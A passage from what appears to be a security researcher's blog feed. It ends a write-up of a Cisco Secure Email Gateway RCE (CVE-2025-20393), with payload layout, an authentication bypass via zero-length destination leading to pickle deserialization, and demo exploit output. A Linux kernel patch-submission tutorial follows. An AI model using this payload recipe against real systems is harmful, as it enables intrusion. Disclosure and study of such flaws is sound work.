class="headerlink" title="方式 1：序列号匹配"></a>方式 1：序列号匹配</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Serial: &quot;564D3D47E3BCFBA26307-2EC835E2635A&quot; (33 bytes)</span><br><span class="line">Payload 长度: 256 + 33 &#x3D; 289 bytes</span><br><span class="line">溢出: 289 % 256 &#x3D; 33 ✓</span><br><span class="line"></span><br><span class="line">服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过</span><br></pre></td></tr></table></figure><p>Payload 布局：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">┌────────────────────────┬────────────────────┬─────────────────┐</span><br><span class="line">│     Server Serial      │   Pickle Payload   │    Padding      │</span><br><span class="line">│       (33 bytes)       │    (72 bytes)      │  (184 bytes)    │</span><br><span class="line">└────────────────────────┴────────────────────┴─────────────────┘</span><br><span class="line">  Total: 289 bytes → 289 % 256 &#x3D; 33</span><br><span class="line"></span><br><span class="line">           │                       │</span><br><span class="line">           ▼                       ▼</span><br><span class="line">    通过认证检查            cPickle.loads() → RCE</span><br></pre></td></tr></table></figure><h3 id="方式-2：零长度绕过（无前提条件）"><a href="#方式-2：零长度绕过（无前提条件）" class="headerlink" title="方式 2：零长度绕过（无前提条件）"></a>方式 2：零长度绕过（无前提条件）</h3><p>一开始以为必须要有合法的序列号，然后再猫哥的提醒下发现<code>dst_len = 0</code> 会创建一个特殊情况。再次审视 <code>read_message()</code> 代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># CommandMessage.py - read_message() 漏洞路径</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_message</span>(<span class="params">read_method, timeout=<span class="number">0</span></span>):</span></span><br><span class="line">    <span class="comment"># ... 解包 header ...</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># destination_length 来自 header（通过溢出被攻击者控制）</span></span><br><span class="line">    <span class="keyword">if</span> destination_length:                    <span class="comment"># ← [1] 检查是否非零</span></span><br><span class="line">        destination = _read(read_method, destination_length, timeout)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        destination = <span class="string">&#x27;&#x27;</span>                      <span class="comment"># ← [2] dst_len=0 时为空字符串！</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># ... 继续处理 ...</span></span><br></pre></td></tr></table></figure><p>当 <code>destination_length = 0</code> 时：</p><ol><li>[1] 处的 <code>if destination_length:</code> 检查求值为 False（0 是假值）</li><li>代码进入 [2] 处的 else 分支</li><li><code>destination</code> 被设为空字符串 <code>&#39;&#39;</code></li><li>不从网络读取任何字节作为 destination</li></ol><h3 id="空-Destination-为何能绕过认证"><a href="#空-Destination-为何能绕过认证" class="headerlink" title="空 Destination 为何能绕过认证"></a>空 Destination 为何能绕过认证</h3><p>通过分析，我们确定当 destination 为空时，认证检查存在以下行为之一：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 场景 A：空检查跳过验证</span></span><br><span class="line"><span class="keyword">if</span> destination:  <span class="comment"># 空字符串在 Python 中是假值</span></span><br><span class="line">    <span class="keyword">if</span> destination != MY_SERIAL_NUMBER:</span><br><span class="line">        <span class="keyword">raise</span> AuthenticationError(...)</span><br><span class="line"><span class="comment"># 空 destination → 验证完全被跳过</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 场景 B：广播/本地消息处理</span></span><br><span class="line"><span class="keyword">if</span> destination == <span class="string">&#x27;&#x27;</span> <span class="keyword">or</span> destination == MY_SERIAL_NUMBER:</span><br><span class="line">    <span class="comment"># 接受消息（空 = 广播或本地）</span></span><br><span class="line">    process_message(...)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 场景 C：错误处理穿透</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    validate_destination(destination)  <span class="comment"># 可能未处理空情况</span></span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="keyword">pass</span>  <span class="comment"># 静默继续</span></span><br></pre></td></tr></table></figure><p>无论哪种情况，空 destination 都允许消息到达 <code>cPickle.loads()</code>。</p><h3 id="两种方式对比"><a href="#两种方式对比" class="headerlink" title="两种方式对比"></a>两种方式对比</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│                          序列号匹配方式                                      │</span><br><span class="line">├─────────────────────────────────────────────────────────────────────────────┤</span><br><span class="line">│  Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] &#x3D; 289 bytes        │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  溢出: 289 % 256 &#x3D; 33                                                       │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  服务器读取:                                                                 │</span><br><span class="line">│    dst_len &#x3D; 33                                                             │</span><br><span class="line">│    destination &#x3D; payload[0:33] &#x3D; &quot;564D3D47E3BCFBA26307-2EC835E2635A&quot;        │</span><br><span class="line">│    认证检查: destination &#x3D;&#x3D; MY_SERIAL → 通过 ✓                               │</span><br><span class="line">│    message &#x3D; payload[33:105] &#x3D; pickle_gadget                                │</span><br><span class="line">│    cPickle.loads(message) → RCE                                             │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  要求: 必须知道服务器的序列号                                                 │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br><span class="line"></span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│                        零长度绕过方式 ✓                                      │</span><br><span class="line">├─────────────────────────────────────────────────────────────────────────────┤</span><br><span class="line">│  Payload: [PICKLE (72B)] [PADDING (184B)] &#x3D; 256 bytes                       │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  溢出: 256 % 256 &#x3D; 0                                                        │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  服务器读取:                                                                 │</span><br><span class="line">│    dst_len &#x3D; 0                                                              │</span><br><span class="line">│    if dst_len: ... else: destination &#x3D; &#39;&#39;  ← 空字符串                       │</span><br><span class="line">│    认证检查: destination &#x3D;&#x3D; &#39;&#39; → 绕过! ✓                                     │</span><br><span class="line">│    message &#x3D; payload[0:72] &#x3D; pickle_gadget                                  │</span><br><span class="line">│    cPickle.loads(message) → RCE                                             │</span><br><span class="line">│                                                                             │</span><br><span class="line">│  要求: 无 - 对任何目标都有效                                                  │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>我们选择零长度绕过方式，因为它无需任何目标信息即可实现通用利用。</p><h2 id="0x06-利用演示"><a href="#0x06-利用演示" class="headerlink" title="0x06 利用演示"></a>0x06 利用演示</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">$ python3 exploit.py 192.168.2.10 <span class="string">&#x27;touch /tmp/pwned&#x27;</span></span><br><span class="line"></span><br><span class="line">======================================================================</span><br><span class="line">CVE-2025-20393 - Cisco Secure Email Gateway RCE</span><br><span class="line">Advisory: cisco-sa-sma-attack-N9bf4</span><br><span class="line">======================================================================</span><br><span class="line"></span><br><span class="line">[*] Target:   https://192.168.2.10:83</span><br><span class="line">[*] Command:  touch /tmp/pwned</span><br><span class="line"></span><br><span class="line">[*] Exploit Details:</span><br><span class="line">    ├─ Python 2.6 struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, 256) = 0x00 (truncated)</span><br><span class="line">    ├─ Pickle gadget:  72 bytes</span><br><span class="line">    ├─ Padding:        184 bytes</span><br><span class="line">    ├─ Total payload:  256 bytes</span><br><span class="line">    └─ Overflow:       256 % 256 = 0</span><br><span class="line"></span><br><span class="line">[*] URL length: 891 bytes</span><br><span class="line"></span><br><span class="line">[*] Sending exploit...</span><br><span class="line">[+] Read timeout - likely successful!</span><br><span class="line">    (Server busy executing pickle payload)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>验证：</strong></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2026-02-12-aed2b248726a5aa6873ff83244b31262-843236.png" title="image-20260212191919340" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2026-02-12-aed2b248726a5aa6873ff83244b31262-843236.png" alt="image-20260212191919340"></a></p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4">Cisco Advisory: cisco-sa-sma-attack-N9bf4</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-20393">CVE-2025-20393</a></li><li><a href="https://docs.python.org/2.6/library/struct.html">Python 2.6 struct module</a></li><li><a href="https://docs.python.org/3/library/pickle.html#module-pickle">Python pickle security</a></li></ul></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="SecurityResearch" scheme="https://bestwing.me/categories/SecurityResearch/"/>
    
    
    <category term="security" scheme="https://bestwing.me/tags/security/"/>
    
    <category term="cve-2025-20393" scheme="https://bestwing.me/tags/cve-2025-20393/"/>
    
  </entry>
  
  <entry>
    <title>如何给 Linux 内核提交补丁：一次真实的踩坑记录</title>
    <link href="https://bestwing.me/How-to-patch-a-linux-kernel-bug-zh.html"/>
    <id>https://bestwing.me/How-to-patch-a-linux-kernel-bug-zh.html</id>
    <published>2026-02-01T04:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.195Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>最近给 Linux 内核提交了一个补丁，修复 <code>skbuff_fclone_cache</code> 的 usercopy 问题，过程中踩了不少坑。这篇文章记录一下整个流程，希望能帮到想给内核提补丁的朋友。</p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>事情是这样的，n132和我发现了一个内核 panic，在启用 <code>CONFIG_HARDENED_USERCOPY</code> 的时候会触发。</p><p>问题出在 <code>skbuff_fclone_cache</code> 这个 slab 缓存创建的时候没有定义 usercopy 区域，但是 <code>skbuff_head_cache</code> 是有的。这就导致内核在尝试把 <code>sk_buff.cb</code> 的数据拷贝到用户空间的时候会 BUG()。</p><p>崩溃的调用链大概是这样：</p><ol><li>TCP 用 <code>alloc_skb_fclone()</code> 分配 skb</li><li><code>skb_clone()</code> 克隆这个 skb</li><li>克隆的 skb 被放到 <code>sk_error_queue</code></li><li>用户空间调用 <code>recvmsg(MSG_ERRQUEUE)</code> 读错误队列</li><li><code>sock_recv_errqueue()</code> 调用 <code>put_cmsg()</code> 拷贝数据</li><li>然后<code>__check_heap_object()</code> 检查失败触发内核崩溃</li></ol><p>崩溃日志长这样：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">[    5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object &#39;skbuff_fclone_cache&#39; (offset 296, size 16)!</span><br><span class="line">[    5.382796] kernel BUG at mm&#x2F;usercopy.c:102!</span><br><span class="line">[    5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI</span><br><span class="line">[    5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7</span><br><span class="line">[    5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04&#x2F;01&#x2F;2014</span><br><span class="line">[    5.384903] RIP: 0010:usercopy_abort+0x6c&#x2F;0x80</span><br><span class="line">[    5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff &lt;0f&gt; 0b 490</span><br><span class="line">[    5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246</span><br><span class="line">[    5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74</span><br><span class="line">[    5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0</span><br><span class="line">[    5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74</span><br><span class="line">[    5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001</span><br><span class="line">[    5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00</span><br><span class="line">[    5.384903] FS:  0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000</span><br><span class="line">[    5.384903] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033</span><br><span class="line">[    5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0</span><br><span class="line">[    5.384903] PKRU: 55555554</span><br><span class="line">[    5.384903] Call Trace:</span><br><span class="line">[    5.384903]  &lt;TASK&gt;</span><br><span class="line">[    5.384903]  __check_heap_object+0x9a&#x2F;0xd0</span><br><span class="line">[    5.384903]  __check_object_size+0x46c&#x2F;0x690</span><br><span class="line">[    5.384903]  put_cmsg+0x129&#x2F;0x5e0</span><br><span class="line">[    5.384903]  sock_recv_errqueue+0x22f&#x2F;0x380</span><br><span class="line">[    5.384903]  tls_sw_recvmsg+0x7ed&#x2F;0x1960</span><br><span class="line">[    5.384903]  ? srso_alias_return_thunk+0x5&#x2F;0xfbef5</span><br><span class="line">[    5.384903]  ? schedule+0x6d&#x2F;0x270</span><br><span class="line">[    5.384903]  ? srso_alias_return_thunk+0x5&#x2F;0xfbef5</span><br><span class="line">[    5.384903]  ? mutex_unlock+0x81&#x2F;0xd0</span><br><span class="line">[    5.384903]  ? __pfx_mutex_unlock+0x10&#x2F;0x10</span><br><span class="line">[    5.384903]  ? __pfx_tls_sw_recvmsg+0x10&#x2F;0x10</span><br><span class="line">[    5.384903]  ? _raw_spin_lock_irqsave+0x8f&#x2F;0xf0</span><br><span class="line">[    5.384903]  ? _raw_read_unlock_irqrestore+0x20&#x2F;0x40</span><br><span class="line">[    5.384903]  ? srso_alias_return_thunk+0x5&#x2F;0xfbef5</span><br></pre></td></tr></table></figure><p>这个 bug 后来被分配了 <a href="https://vulert.com/vuln-db/net--sock--fix-hardened-usercopy-panic-in-sock-recv-errqueue">CVE-2026-22977</a>。</p><h3 id="分析一下崩溃"><a href="#分析一下崩溃" class="headerlink" title="分析一下崩溃"></a>分析一下崩溃</h3><p>崩溃信息里说 <code>offset 296, size 16</code>，我们来算一下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">sizeof(struct sk_buff) &#x3D; 232</span><br><span class="line">offsetof(struct sk_buff, cb) &#x3D; 40</span><br><span class="line"></span><br><span class="line">sk_buff_fclones 里面：</span><br><span class="line">- skb1 从 0 开始</span><br><span class="line">- skb2 从 232 开始</span><br><span class="line"></span><br><span class="line">所以 skb2.cb 的偏移 &#x3D; 232 + 40 &#x3D; 272</span><br><span class="line">崩溃偏移 296 &#x3D; 272 + 24，刚好在 sock_exterr_skb.ee 里面</span><br></pre></td></tr></table></figure><p>这就确认了问题确实出在克隆 skb 的 <code>cb</code> 字段。</p><h2 id="第一步：环境准备"><a href="#第一步：环境准备" class="headerlink" title="第一步：环境准备"></a>第一步：环境准备</h2><h3 id="克隆正确的仓库"><a href="#克隆正确的仓库" class="headerlink" title="克隆正确的仓库"></a>克隆正确的仓库</h3><p>这里点，我们<strong>不要直接克隆 Linus 的主仓库</strong>！要根据你的补丁类型选择对应的子系统仓库：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 网络相关的 bug 修复，用这个：</span></span><br><span class="line">git <span class="built_in">clone</span> https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git</span><br><span class="line"><span class="built_in">cd</span> net</span><br><span class="line"></span><br><span class="line"><span class="comment"># 网络相关的新功能，用这个：</span></span><br><span class="line">git <span class="built_in">clone</span> https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net-next.git</span><br><span class="line"></span><br><span class="line"><span class="comment"># 其他通用的：</span></span><br><span class="line">git <span class="built_in">clone</span> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</span><br></pre></td></tr></table></figure><table><thead><tr><th>仓库</th><th>用途</th></tr></thead><tbody><tr><td><code>net.git</code></td><td>当前版本的 bug 修复</td></tr><tr><td><code>net-next.git</code></td><td>下一版本的新功能</td></tr><tr><td><code>linux.git</code></td><td>通用开发</td></tr></tbody></table><p>我这个是 net模块里的代码，所以应该用 <code>net.git</code>。</p><h3 id="配置-Git-邮件"><a href="#配置-Git-邮件" class="headerlink" title="配置 Git 邮件"></a>配置 Git 邮件</h3><p>编辑 <code>~/.gitconfig</code>：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[user]</span></span><br><span class="line">    <span class="attr">name</span> = Weiming Shi</span><br><span class="line">    <span class="attr">email</span> = bestswngs@gmail.com</span><br><span class="line"></span><br><span class="line"><span class="section">[sendemail]</span></span><br><span class="line">    <span class="attr">smtpserver</span> = smtp.gmail.com</span><br><span class="line">    <span class="attr">smtpserverport</span> = <span class="number">587</span></span><br><span class="line">    <span class="attr">smtpencryption</span> = tls</span><br><span class="line">    <span class="attr">smtpuser</span> = bestswngs@gmail.com</span><br></pre></td></tr></table></figure><p>用 Gmail 的话需要去 Google 账户安全设置里生成一个应用专用密码。</p><h3 id="为什么用-Mutt？"><a href="#为什么用-Mutt？" class="headerlink" title="为什么用 Mutt？"></a>为什么用 Mutt？</h3><p>这里要特别说一下，<strong>千万不要用 Gmail 网页版发补丁</strong>！</p><p>Gmail 网页版会：</p><ul><li>把纯文本转成 HTML</li><li>自动换行，直接把补丁搞坏</li><li>把 Tab 换成空格</li><li>各种编码问题</li></ul><p>内核要求纯文本邮件，补丁要内联在邮件里（不是附件）。推荐的组合是：</p><ul><li><strong><code>git send-email</code></strong> 发补丁</li><li><strong><code>mutt</code></strong> 看维护者回复</li></ul><p>Mutt 配置 <code>~/.muttrc</code>：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">set realname &#x3D; &quot;Weiming Shi&quot;</span><br><span class="line">set from &#x3D; &quot;bestswngs@gmail.com&quot;</span><br><span class="line">set use_from &#x3D; yes</span><br><span class="line">set envelope_from &#x3D; yes</span><br><span class="line"></span><br><span class="line">set my_user &#x3D; &quot;bestswngs@gmail.com&quot;</span><br><span class="line">set my_pass &#x3D; &quot;xxxx xxxx xxxx xxxx&quot;  # 应用专用密码</span><br><span class="line"></span><br><span class="line">set imap_user &#x3D; $my_user</span><br><span class="line">set imap_pass &#x3D; $my_pass</span><br><span class="line">set folder &#x3D; &quot;imaps:&#x2F;&#x2F;imap.gmail.com:993&quot;</span><br><span class="line">set spoolfile &#x3D; &quot;+INBOX&quot;</span><br><span class="line"></span><br><span class="line">set smtp_url &#x3D; &quot;smtps:&#x2F;&#x2F;$my_user:$my_pass@smtp.gmail.com:465&#x2F;&quot;</span><br><span class="line">set ssl_force_tls &#x3D; yes</span><br><span class="line"></span><br><span class="line">set postponed &#x3D; &quot;+[Gmail]&#x2F;Drafts&quot;</span><br><span class="line">set record &#x3D; &quot;+[Gmail]&#x2F;Sent Mail&quot;</span><br><span class="line"></span><br><span class="line">set header_cache &#x3D; ~&#x2F;.mutt&#x2F;cache&#x2F;headers</span><br><span class="line">set message_cachedir &#x3D; ~&#x2F;.mutt&#x2F;cache&#x2F;bodies</span><br><span class="line">set certificate_file &#x3D; ~&#x2F;.mutt&#x2F;certificates</span><br></pre></td></tr></table></figure><h2 id="第二步：写修复代码"><a href="#第二步：写修复代码" class="headerlink" title="第二步：写修复代码"></a>第二步：写修复代码</h2><p>创建工作分支：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout -b fix-skbuff-fclone-usercopy</span><br></pre></td></tr></table></figure><p>修复其实很简单，把 <code>kmem_cache_create()</code> 换成 <code>kmem_cache_create_usercopy()</code>：</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="deletion">-net_hotdata.skbuff_fclone_cache = kmem_cache_create(&quot;skbuff_fclone_cache&quot;,</span></span><br><span class="line"><span class="addition">+net_hotdata.skbuff_fclone_cache = kmem_cache_create_usercopy(&quot;skbuff_fclone_cache&quot;,</span></span><br><span class="line"> sizeof(struct sk_buff_fclones),</span><br><span class="line"> 0,</span><br><span class="line"> SLAB_HWCACHE_ALIGN|SLAB_PANIC,</span><br><span class="line"><span class="addition">+offsetof(struct sk_buff, cb),</span></span><br><span class="line"><span class="addition">+sizeof(struct sk_buff) + sizeof_field(struct sk_buff, cb),</span></span><br><span class="line"> NULL);</span><br></pre></td></tr></table></figure><h2 id="第三步：测试"><a href="#第三步：测试" class="headerlink" title="第三步：测试"></a>第三步：测试</h2><p>编译：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make menuconfig  <span class="comment"># 启用 CONFIG_HARDENED_USERCOPY=y</span></span><br><span class="line">make -j$(nproc)</span><br></pre></td></tr></table></figure><p>测试的话推荐用 <code>virtme-ng</code>，比手动搞 initramfs 方便太多了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装</span></span><br><span class="line">sudo apt install qemu-system-x86 qemu-kvm</span><br><span class="line">pip install virtme-ng</span><br><span class="line"></span><br><span class="line"><span class="comment"># 直接启动，不用 initramfs</span></span><br><span class="line">vng --build --run</span><br><span class="line"></span><br><span class="line"><span class="comment"># 跑 PoC 验证</span></span><br><span class="line">vng --build --run -- ./poc_put_cmsg</span><br></pre></td></tr></table></figure><h2 id="第四步：自测清单"><a href="#第四步：自测清单" class="headerlink" title="第四步：自测清单"></a>第四步：自测清单</h2><p>发补丁之前一定要过一遍这个清单，我就是因为跳过了编译测试，结果收到了 kernel test robot 的构建失败邮件，很尴尬。</p><h3 id="代码风格"><a href="#代码风格" class="headerlink" title="代码风格"></a>代码风格</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./scripts/checkpatch.pl --strict 0001-your-patch.patch</span><br></pre></td></tr></table></figure><p>常见问题：行太长、缩进用了空格（应该用 Tab）、行尾有空白。</p><h3 id="多配置编译"><a href="#多配置编译" class="headerlink" title="多配置编译"></a>多配置编译</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make defconfig &amp;&amp; make -j$(nproc)</span><br><span class="line">make allyesconfig &amp;&amp; make -j$(nproc)</span><br></pre></td></tr></table></figure><h3 id="启动测试"><a href="#启动测试" class="headerlink" title="启动测试"></a>启动测试</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vng --build --run</span><br></pre></td></tr></table></figure><h3 id="验证修复"><a href="#验证修复" class="headerlink" title="验证修复"></a>验证修复</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./poc_put_cmsg</span><br><span class="line">dmesg | grep -i <span class="string">&quot;usercopy\|BUG\|panic&quot;</span></span><br></pre></td></tr></table></figure><p>打补丁前会 panic，打完应该没事了。</p><h3 id="跑-selftests"><a href="#跑-selftests" class="headerlink" title="跑 selftests"></a>跑 selftests</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make -C tools/testing/selftests/net run_tests</span><br></pre></td></tr></table></figure><h3 id="拼写检查"><a href="#拼写检查" class="headerlink" title="拼写检查"></a>拼写检查</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codespell your-patch.patch</span><br></pre></td></tr></table></figure><h2 id="第五步：写提交信息"><a href="#第五步：写提交信息" class="headerlink" title="第五步：写提交信息"></a>第五步：写提交信息</h2><p>这是我踩坑最多的地方。</p><p>一个合格的提交信息长这样：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">net: skbuff: 